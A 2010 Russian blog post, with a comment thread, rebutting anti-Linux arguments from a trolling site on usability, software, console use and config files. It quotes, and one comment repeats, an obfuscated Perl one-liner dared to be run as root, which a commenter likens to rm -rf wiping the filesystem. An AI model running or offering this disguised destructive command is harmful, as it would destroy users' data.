Пожалуйста подождите

Немного другая правда о линуксах

02 марта 21:32
Рейтинг +0+0,96 - +    Эмоции
комментариев: 17

Не так давно в блогах появилась занятная запись — http://1nsk.ru/blog/37275.html. Раз уж я стартанул клуб, надо что-нибудь для прилия написать. Я, конечно, не бог весть какой специалист, но разобраться попробую.
Для начала отвечу на вопрос автора той самой записи.

Это всё написано с целью отпугнуть потенциально новых пользователей пингвинов?

Да, это происки Мелкософта и лично Билла Гейтса. :)
Если же серьезно, то это просто достаточно тонкий троллинг. Информация взята с сайта stoplinux.org.ru, где в нескольких местах можно наткнуться на просьбы администрации приглашать линуксоидов на данный ресурс. Да, троллей выдает потребность в жрачке. Конечно, автор того опуса не врет, он просто акцентирует внимание на слабых сторонах unix'овых систем, где-то немного искажает или преувеличивает, где-то недоговаривает — это основы грамотного троллинга, что-то вроде того. Ничего сильно плохого в этом нет — никто не кормит так хорошо, как яростные фанатики "пингвинов". Я просто хочу, чтобы вы особо не обольщались.

Ну вот, а что, собственно, скажете вы?

Что-нибудь, но скажу. Попробую по порядку.

1. Linux лучше подходит для продвинутых пользователей - Windows для начинающих.

Очередное бредовое заявление. Для начинающего кого? Админа? Программиста? Художника? Архитектора? Дизайнера? Слесаря? Юриста? Музыканта? Бухгалтера? Дворника? Спортсмена? Водителя автобуса?

Вот оно. Как там правильно называется? Демагогия?
В самом заголовке написано, что для пользователя. Кто такой начинающий пользователь? Это человек, который еще мало что понимает в работе с ПК и всяческим софтом, и ему во всем еще только предстоит разобраться. Здесь утверждение "Windows для начинающих" в какой-то степени верно. Разобраться в основных принципах работы с окошками или установки софта достаточно легко, хотя и юзер-френдливые линуксы, думаю, особых затруднений не вызовут. В конце концов, в каждом из них принципы GUI примерно такие же, как и в Винде, а приложения ставятся через какой-нибудь Синаптик.
Другое дело — настройка системы и этого самого софта, но тут особо начинающим пользователем уже не пахнет. В "окошках" это решается через графический интерфейс, а у "пингвинов" все зависит от оконной среды. Gnome или KDE предоставляют большой выбор утилит для графического конфигурирования, а в любимом мной IceWM придется лезть в конфиги. Страшного в этом нет абсолютно ничего — лично мне иногда проще пролистать пару текстовых файлов, чем бегать по разнообразным панелям настройки.
Короче говоря, начинающим пользователям я бы посоветовал попробовать все, а продвинутым использовать то, что больше поравилось.

Кем я должен быть, чтобы мне был нужен именно Linux? Некоторые особо изворотливые линуксоиды выдавливают из себя некоего сферического "человека начинающего знакомиться с компьютерами". А если 90% так и не перешли на Linux, то значит, что они по прежнему находятся в стадии "ознакомления"?

А кем должен быть человек, чтобы ему была нужна именно Винда? Варианты на самом деле есть, но об этом дальше. :)


2. Linux используют только профессионалы.

К примеру, только в страшном сне дизайнер или архитектор может представить себе, что его заставили использовать Linux. Вы, простите, в нормальном доме живете? А фильмы смотрите? Или вы хотите сказать, что архитекторов и дизайнеров нельзя называть профессионалами? А ведь именно они проектировали дом, в котором вы живете, и именно они рисовали декорации для вашего любимого фильма! Вам бы хотелось жить в криво построенном доме, или смотреть унылую пародию на фильм, просто потому, что вместо занятия своим делом, человек начал одержимо ковыряться в системе, в попытках разобраться, почему что-то не работает? Профессионалу важны удобные и инструменты, будь это программист, ему потребуется тщательно структурированный и комментированный код, а так же детальная документация. Музыканту - хорошие и функциональные программы для микширования, сведения и наложения эффектов, писателю - удобный текстовый редактор и т.д

А вот здесь уже верно. Это как раз о тех, кому нужна именно Винда. Если удобные инструменты для писателей и программистов в Линуксе есть, то профессиональных дизайнеров, архитекторов и музыкантов ждет разочарование (хотя тетя Стил вроде бы — оголтелая фанатка линуксов). Остается только надеяться, что подобные программы напишут.
Если же говорить о "работает-не работает". У меня работало все, если это было в принципе возможно и вполне нормально. Что я делал не так? Проблемы, конечно, случаются, но они случаются везде: в Линуксе слетают Иксы, в Винде вылазит баннер с голой задницей и просьбой отправить смс.

В Linux просто нет программ, способных удовлетворить потребности пользователя, если они уходят дальше "походить по интернету в FireFox". В таком случае тут и Linux не при чем. Он будет не более чем "пускалкой" для более успешного программного продукта, да и то пускалкой постольку-поскольку в место Linux может быть использована любая другая (открытая если это требуется) система.

О каких именно потребностях идет речь? Без этого уточнения нет смысла о чем-то говорить.
И что подразумевается под "пускалкой"? Любая ОС в принципе является "пускалкой".


3. Linux учит думать - от Windows пользователь тупеет.

...Бла-бла-бла...

Могу смело утверждать, что автор того произведения специально выбирал самые глупые утверждения быдлолинуксоидов. :)
Учится думать либо тупеет пользователь сам. Независимо от ОС на своем компьютере.


4. Пользователи Linux мирно существуют и никому ничего не навязывают.

...Бла-бла-бла...

То же самое. Трололо. На самом деле есть два вида пользователей Linux: адекватные и крайние лысые, которые усираются на тему "пингвинов" по всему интернету.
- Пошел нахуй, урод! Тебя выебал Микрософт!


5. Доля Linux растет с каждым годом.

Во-первых увеличение количества компьютеров под управлением Linux связано с общим увеличением компьютеров у населения. На самом деле суммарная доля компьютеров под управлением Linux за десять лет практически не изменилась и июль 2009 года составляет 1%.

Каким образом составляется статистика? Мне что-то в нее не особо верится, учитывая сколько различных учереждений переходят на Linux.

Вы можете представить себе, например, пользователя MacOS, который ставит себе мультибутом сразу 2-3 копии MacOS и пытается пользоваться ими одновременно? Для пользователей Linux это норма.

Вы так об этом говорите, как будто это плохо. (с) Существуют разные дистрибутивы — выбирай то, что по вкусу. Предположим два колбасных прилавка. В первом разные сорта, во втором только один, хотя и довольно вкусный. Какой прилавок лучше? Решать вам.

Не стоит забывать про встроенные решения и разного рода сервера, в которых Linux еще имеет некоторую популярность, и которые видимо с успехом дополняют этот самый процент.

Осмелюсь заявить/предположить, что сервера в основном держат unix'овые системы. Я сужу не только по разговорам Василиев Пупкиных — администраторов чего-то-там. Например, у компании Audi все сервера и рабочие станции работают на Linux, на этом же Linux'е проектируются машины. На компьютерах Пентагона, Белого дома и NASA стоят BSD и все тот же Linux. Даже на серверах Мелкософта, как говорят, стоят они же.
Вполне логично. unix'овые системы изначально разрабатывались как сетевые ОС в отличие от Винды, которая в первую очередь целилась на десктопы, и история у них достаточно большая, если брать в расчет сам Unix, созданный, если не ошибаюсь, в 70-х годах.


6. Под Linux много программ.

Да только 90% из них нафиг не нужны простому пользователю. Иными словам,, Linux может обеспечить только около 10% функциональности, необходимой в реальной жизни. Да, конечно по интернету походить и почту проверить можно и под Linux, но тоже самое я могу сделать и на мобильном телефоне! Как только потребуется выполнить более или менее серьезную задачу на компьютере, придется действительно туго! Вот представьте себе, что в один прекрасный момент вам потребовалось скачать себе на жесткий диск содержимое определенного сайта. Казалось бы неожиданная, но вполне реальная ситуация. На 2009 год для простого пользователя Linux она является невыполнимой! Единственной программой для скачивания файлов является Wget, но она консольная, и для того, чтобы разобраться с правилами ее использования, придется обладать хорошими знаниями и потратить не один час на поиск скрипта, удовлетворяющего именно ваши потребности! Далее смотрим на описание и ужасаемся: "Wget является не-интерактивной программой. Это означает, что после её запуска пользователь не может повлиять на её работу, кроме как повлиять на выполнение программы посредством сигнала (утилита kill) или нажатием на клавиатуре Ctrl-C в терминале". Это напоминает машину, в документации к которой написано, что "пользователь не может повлиять на ее движение, пока машина или не врежется в стену или не взорвется".

Предлагаю простому пользователю самому решить, что ему надо, а что нет.
Рассматривая конкретный пример — не могу точно ответить, существует такая программа (ее уже могли написать) или нет. Однако количество софта в любом случае возрастает, его разрабатывают и энтузиасты, и различные корпорации. Вообще, чтобы говорить о каком-то разнообразии хороших и нужных програм, нужно сперва разобраться с Open Source в принципе.
Что касается утилиты Wget. Она предназначена не для создания локальных копий сайтов (если есть доступ к каталогам, где этот сайт лежит, то никаких проблем возникнуть не должно), а для загрузки файлов. Это несколько разные задачи, не так ли?
Если рассматривать Wget по отношению к своей функции, то ее она выпоняет прекрасно. При малом размере и ресурсозатратах. Подробности можно прочитать в Википедии.
Неинтерактивный режим не является упущением разработчиков. Процесс загрузки файлов отображается в консоли. Что еще должно быть? Кнопка "Отмена"? Допустим. При нажатии подобной кнопки программа прекращала бы загрузку и завершала свою работу. При нажатии Ctrl+C происходит то же самое. Кнопка "Пауза"? Wget, насколько помню, поддерживает докачку. Другими словами, можно завершить работу программы, подняться на одну команду вверх, нажать Enter, и процесс продолжится с того же места. Получается, что подобные кнопки в принципе не нужны, поэтому их и не сделали. Unix-way, чо.

Вы знаете, что на сайте может потребоваться пройти авторизацию, на нем могут быть java скрипты, с которыми Wget работать по нормальному не умеет, вам может потребоваться особым образом отсортировать скаченное, или скачать только текстовую составляющую.

Какая-то программа может пройти авторизацию или работать с java-скриптами? Ладно, допустим. А скачать текстовую составляющую можно и с помощью Wget, автору нужно покурить мат.часть.
При знании баша за 20 минут можно написать скрипт, делающий подобное. Нам препод показывал одну свою такую штуку, чтобы автоматом вытягивать фотки с нгсовских альбомов.

До этого понадобилось графики и диаграммы для одного учебного пособия выполнить. И снова оказалось, что под Linux нет инструментов! Под Windows кроме Excel, который меня не очень устроил в этом плане, были и другие хорошие программы. Что мне в этом плане мог предложить Linux? Корявый OpenOffice с его Calc? Ну и зачем он мне, если мне нужна была более узконаправленная программа.

Ручаться не могу, но подозреваю, что здесь что-то не то. Как раз с графиками в Линуксе проблем нет, один дебианщик в своем блоге постоянно про графики и диаграммы пишет.
Ребят, в PDF'е можно печатать, а?


7. ... но Linux это только ядро!

Без комментариев.


8. Консоль удобнее GUI

Консоль не является интуитивно понятным интерфейсом. Чем шире круг пользовательских задач и чем реже они повторяются, тем менее удобен интерфейс командной строки. Это факт. Графический интерфейс всех приложений построен на схожих принципах, что позволяет при необходимости освоиться даже методом тыка. Вот пример "интуитивной" команды распаковки архива "bzip2 -cd foo.tar.bz2 tar -xvf -".
Проблема линуксодов в том, что они считают себя умнее от умения решения искусственно созданных проблем. Нормальному человеку гораздо проще нажать кнопоку "распаковать", чем утруждать себя запоминанием кучи букв и цифр. Глупее он от этого не станет, зато у него появится возможность оставить больше времени на действительно полезные занятия.


Это спорный вопрос.
Во-первых, умение работы с терминалом полезно при различных проблемах. Если в Линуксe вдруг полетят Иксы, то их работу можно будет восстановить через консоль. Если полетит графическая оболочка Винды, я долго буду думать, что делать (скорее всего тупо переставлю).
Во-вторых, запоминания никакого нет — при знании команды соответствующие ключи и параметры можно подсмотреть, ибо существуют man и -help. Ни один пользователь Линукса не помнит (и даже не знает) абсолютно все эти буквы наизусть.
В-третьих, все зависит от навыка. В умелых руках терминал превращается в мощный и удобный инструмент.
В-четвертых, дело вкуса. Мне, например, зачастую лень тянуться за мышкой, консоль спасает.
В-пятых, я все же согласен с утверждение про "круг пользовательских задач". Одним терминалом не обойтись, но никто к этому и не призывает.
Кстати, как парни рассказывают, в Семерке сделали подобие линуксоидной консоли. Действительно?



9. Реестр - сакс, конфиги рулят!

GUI пишут программисты, которые там проверяют ошибки. Конфиг пишут пользователи и там ошибок никто не проверяет. Соответственно, уж если где пользователю проще ошибиться, так это как раз при правке текстового файла.
Разберем все на примере. В комментариях к конфигам обычно прописан формат данных, в соответствии с которым они вводятся. Ашипся я, опечатался. 1976 перепутал с 1796. А дата используется только в конце длительного процесса. Причем без даты завершен он корректно быть не может - результат будет неверный. Причем дата зависит от конфигурации, а не от приложения. Т.е. в одной конфигурации дата может быть валидна, а в другой нет. В GUI я могу сколь угодно проверять, используя какие угодно правила. Важно, что в GUI есть дополнительная прослойка кода, которая занимается удобным представление данных и их проверкой. И отказывается от нее в пользу прямого редактирования теста нет ни малейшего смысла. Таким образом вероятность ввода не корректных данных исключается!
Тут линуксоиды могут сказать, что "любые параметры должны проверяться при загрузке приложения". Только проверяться они могут по разному! Дело программы убедиться, что она эти данные сможет переварить, а не то, что они соответствуют задаче. Иначе при любом изменении придется программу переписывать.
Могут ли линуксоиды в своем текстовом конфиге ограничить выбор доступных значений, проверить их валидность, к примеру? Вместо того, чтобы исключить заведомо некорректную конфигурации на этапе ввода, продвинутые линуксоиды предлагают делать это в рантайме? А если параметры некорректны в определенных обстоятельствах, которые так вдруг не наступят? Ловить экшепшены раз в неделю? Вот он Unix-way!
Любая ошибка при правке конфигов может просто убить систему - в этом я многократно убеждался на собственном опыте. Заметьте, тут не нужны даже вирусы! Для падения программы или всей системы может хватить того, что при вводе дробного значения вы вместо запятой в качестве разделителя поставите точку.
Графические конфигураторы - это качественно новый уровень как по удобству, так и по функциональности. Использование тектовых файлов для настройки - это не более чем попытка переложить на пользователя обязанности программиста.


Зерно истины в этом есть. Однако "пингвины" предоставляют и GUI.
Вообще это действительно одно из больных мест Линукса — либо тормозные графические интерфейсы с конфигураторами системы, либо быстрые WM, но тогда текстовый редактор в руки и вперед. Лично я ничего против юниксовых конфигов не имею — порой мне так даже удобнее, но тем не менее.

Что касается реестра. Реестр является единой базой данных для хранения сведений о конфигурации компьютера и настроек операционной системы имеющей с иерархической структурой. К пользователю, кстати, реестр никакого отношения не имеет, и работа с ним может потребоваться только разработчику. Отсюда мне непонятны претензии линуксоидов о том, что им непонятны значения и параметры в нем. Что за стремление лезть куда не попадя и возмущаться от того, что "ничего не понятно"?
Писать о преимуществах реестра смысла нет. Достаточно вспомнить, что все данные на серверах хранятся в виде баз данных, а не в виде текстовых файлов. Поэтому остается только догадываться о причинах столь странной слепоты Unix мира.


Как много о плюсах реестра, но ничего о его недостатках. Для чего существует целый сонм программ для очистки реестра? Потому что реестр — это база данных, которая быстро раздувается. Деинсталированные программы оставляют кучу своих меток, установленные программы заносят всякую ерунду, реестр засоряется и система начинает глючить. Есть такое популярное мнение, что Винду надо переставлять раз в полгода. :)
К тому же реестр хранится в виндовой папке + пользовательские ветки реестра в Documents and Settings, при переустановке системы все данные реестра соответственно пропадут. Но даже если сохранить эту базу данных, не факт, что все потом будет корректно работать.
Как обстоит дело в Линуксе: существует папка home, в которой лежат папки для каждого пользователя. Обычно этот каталог делают на отдельном разделе диска, тогда при переустановке Линукса сохранятся все настройки. Причем зачастую неважно тот же или уже другой дистрибутив устанавливается.
Я, кстати, не соглашусь, что реестр не нужен пользователю. В свое время, например, автозапуск сменных носителей убирали именно в реестре. Также недавно боролся с одним вирусом на материном ноуте — убирал его из автозагрузки именно через реестр.


10. В Linux не требуется владение консолью все делается из графических утилит.

В Linux невозможна нормальная настройка и работа, используя исключительно графические средства. По-прежнему даже для выполнения ряда тривиальных действий приходится открывать консоль, править системные файлы, искать по интернету параметры и ключи, а также заниматься прочей ерундой, которая никак не связана с работой за компьютером. Если не верите, то откройте любой форум, посвященный Linux, и посмотрите пути решения ряда проблем. Пример с выполнением такого простого действия, как создание локальной копии сайта, я уже приводил.

Опять немного искажено. В Linux не всегда возможна нормальная настройка и работа средствами графического интерфейса.

Вдобавок, в использовании консоли заключается серьезная опасность. Попробуйте запустить следующий скрипт с правами root.
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-}<&`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


Запустил непонятный скрипт из под рута? Сам виноват. Что тут еще можно сказать.


Продолжение следует, чо.

UPD: нашел плюс текстовых конфигов. Ими можно спокойно обмениваться.

Метки linux, unix, 1, линукс

комментарии

К первому непрочитанному 
  • 2 марта 2010 | 21:35 (ссылка #1490605)
    0 - + Сообщить модератору
    Тот, кто смог прочитать до конца...Скажите одним тезисом, что там написано?
  • 2 марта 2010 | 22:07 (ссылка #1490632)
    0 - + Сообщить модератору
    том
    Оно тебе надо?
  • 2 марта 2010 | 22:01 (ссылка #1490628)
    0 - + Сообщить модератору
    аватара
    Эм...
    Тролль с сайта стоплинух.ру использует недостатки, раздувает их до слоновьих размеров и троллит, а автор поста оправдывает линух =)

    Сам на линухе сижу, больше чем форточки нравится.
  • 2 марта 2010 | 23:34 (ссылка #1490728)
    0 - + Сообщить модератору
    я робот
    perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-}<&`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
    ну rm -rf аналогично покилять файлуху всю может если от рута, другое дело, что от рута в консоли в лине сидят только закоренелые бараны, а в винде отключить uac это почти святое
  • купил Комету-225 и счастлив
    3 марта 2010 | 08:12 (ссылка #1490815)
    0 - + Сообщить модератору
    Шифтдва
    от рута в консоли в лине сидят только закоренелые бараны
    Я закоренелый баран :-( Кто ещё со мной?
  • 3 марта 2010 | 09:15 (ссылка #1490826)
    0 - + Сообщить модератору
    я робот
    Вот прям всё время рутом и рутом?
  • 3 марта 2010 | 17:31 (ссылка #1491038)
    0 - + Сообщить модератору
    Линукс для сервера, винда для компа -_-. Так и живу -_-
  • 3 марта 2010 | 17:51 (ссылка #1491054)
    +1,56 - + Сообщить модератору
    я макось ставлю уже третий вечер. заебался
  • 3 марта 2010 | 19:15 (ссылка #1491134)
    0 - + Сообщить модератору
    я робот
    :) не выходит каменный цветок?
  • 3 марта 2010 | 19:18 (ссылка #1491135)
    0 - + Сообщить модератору
    да пробовал iDeneb 1.3. не хоче тю ща 1.5 докачиваю.
    должно встать)
  • Подписаться